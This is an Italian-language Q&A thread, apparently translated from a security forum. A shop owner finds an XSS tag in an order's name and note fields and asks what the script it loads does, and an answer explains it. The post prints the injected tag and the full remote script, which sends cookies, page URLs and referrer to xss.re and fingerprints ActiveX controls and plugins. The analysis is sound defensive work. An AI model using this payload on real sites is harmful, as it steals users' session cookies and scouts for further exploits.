Tag script che carica "xss.re/692" nei dati delle transazioni e-commerce - attacco reale o qualcos'altro?

3

Un sito di e-commerce che gestisco di recente ha ricevuto una transazione sospetta. Il campo per il nome del cliente includeva un tag script, ad esempio (il nome del cliente è stato cambiato in John Doe per proteggere l'anonimato):

John Doe"><script src=//xss.re/692></script>

Il campo della nota (dove i clienti possono scrivere una nota sul loro ordine) aveva lo stesso tag senza altro testo:

"><script src=//xss.re/692></script>

La transazione appare altrimenti normale. Sta spedendo a quello che sembra essere un indirizzo legittimo in Ohio. L'unico altro problema è che l'indirizzo gmail un po 'legittimo, [email protected] rimbalzato. Poiché non riesco a contattare l'acquirente e l'aspetto generale è ombreggiato, ho intenzione di rimborsare il pagamento, quindi nessun problema lì.

Ciò di cui sono curioso è qual è lo scopo del tag script? Googling "xss.re" non sembra dare alcun risultato correlato, e il sito stesso presenta solo una finestra di login per "IHONKER.ORG". L'URL specifico nello script ("xss.re/692") carica il seguente script:

var x=new Image();
try
{
var myopener='';
myopener=window.opener && window.opener.location ? window.opener.location : '';
}
catch(err)
{
}
x.src='http://xss.re/XSS/?do=api&act=r&id=692&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape

(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);var activexa = new Array(
  "Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
  "Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
  "360Safe|360SafeLive.Update|classID",
  "Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
  "CMB Bank|CMBHtmlControl.Edit|classID",
  "Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID",  
  "Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
  "JRE 1.7|JavaWebStart.isInstalled.1.7.0.0|classID",
  "JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
  "KMPlayer|KMPlayer.TKMPDropTarget|classID",
  "KingSoft Word(�ʰ�)|KSEngine.Word|classID",
  "Windows live Messanger|Messenger.MsgrObject|classID",
  "Nero|NeroFileDialog.NeroFileDlg|classID",
  "Nokia Cellphone|NokiaCL.PhoneControl|classID",
  "PPlayer|PPlayer.XPPlayer|classID",
  "Tencent QQ|Qqedit.PasswordEditCtrl|classID",
  "QuickTime|QuickTime.QTElementBehavior|classID",
  "Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
  "Xunlei|XunLeiBHO.ThunderIEHelper|classID"
);

function iescan(){
      var mytmp;
      var plus;
      var bar;
      var x=new Image();
      for (i=0; i<activexa.length; i++){
          mytmp = activexa[i].split('|');  
          if ( checkobj(mytmp[1]) == true ){
                  plus+="|"+mytmp[0]+"<br>"; 

          }
      }
     bar = escape(plus);
    x.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(document.myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);

}


function checkobj(objName){ 
    try {
          var Obj = new ActiveXObject(objName);
          return true;
  } catch (e){
            return false;
  }
}
//-------------
function check_plus() {
    var plus = "";
        var bar = "";
    var b=new Image();
 var num_of_plugins = navigator.plugins.length;
for (var i=0; i < num_of_plugins; i++) {
         plus+= navigator.plugins[i].name+"&nbsp;|&nbsp;"+ navigator.plugins[i].filename +"<br>";
   }
    bar = escape(plus);
    b.src='http://xss.re/XSS/?do=api&act=r&id=692&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);

}

function MyPlusCheck() {

    if(!+[1,]){
iescan();
}else{
   check_plus();
}
}
setTimeout("MyPlusCheck()", 3000);

Ho difficoltà a capire cosa fa lo script. Quindi le mie domande sono:

Che cosa fa questo script?

Finché il mio sito non inserisce input DOM non filtrati (attualmente usa jQuery .text (), che credo sia XSS safe ), ho qualcosa di cui preoccuparmi da un attacco come questo?

Esiste un modo plausibile in cui questo tag potrebbe essere stato inserito da una persona diversa dalla persona che ha effettuato l'ordine, ad es. malware sul sistema di un cliente legittimo?

    
posta Robert 31.08.2016 - 21:22
fonte

1 risposta

2

Che cosa fa lo script?

Invia alcune informazioni a xss.re (includendolo in una stringa di query quando si caricano le immagini con JavaScript). Se l'attacco avesse avuto successo, chiunque avesse visitato il sito in cui si è verificata l'iniezione avrebbe avuto queste informazioni raccolte:

  • L'URL in cui è stato iniettato (e alcuni elementi correlati, come l'URL "top" se si trova in un frame e il titolo).
  • Qualsiasi cookie. Ciò includerebbe l'ID di sessione se non è solo HTTP e il token CSRF.
  • Un elenco di oggetti ActiveX che il browser può creare.
  • Un elenco di plug-in utilizzati dal browser.

Non sono sicuro, ma suppongo che gli ultimi due siano quelli di verificare se ci sono dei vulnerabili che possono essere utilizzati per ulteriori exploit.

Se navighi su xss.re ottieni uno screan di accesso. Sospetto che sia un servizio che ti aiuta a montare attacchi XSS e raccogliere dati da esso. Nella richiesta che lo script restituisce, è presente un parametro id incluso nella stringa di query. È impostato su 692 , lo stesso numero dell'URL. Immagino che sia l'ID utente dell'attaccante.

Funzionava?

Devi assicurarti di non essere vulnerabile a questo tipo di attacco. Per fare ciò è necessario controllare ovunque questo tipo di dati viene riportato nella pagina - frontend, backend, ecc.

Hai ragione che .text() è sicuro, poiché si basa su .textContent . Tuttavia, anche il modo in cui i dati entrano nel JS è importante. Se fai qualcosa come element.text(<% echo $name; %>); potresti avere un problema. Ma se ottieni il nome da, ad es. una chiamata API HTTP ti sta bene.

    
risposta data 31.08.2016 - 21:47
fonte

Leggi altre domande sui tag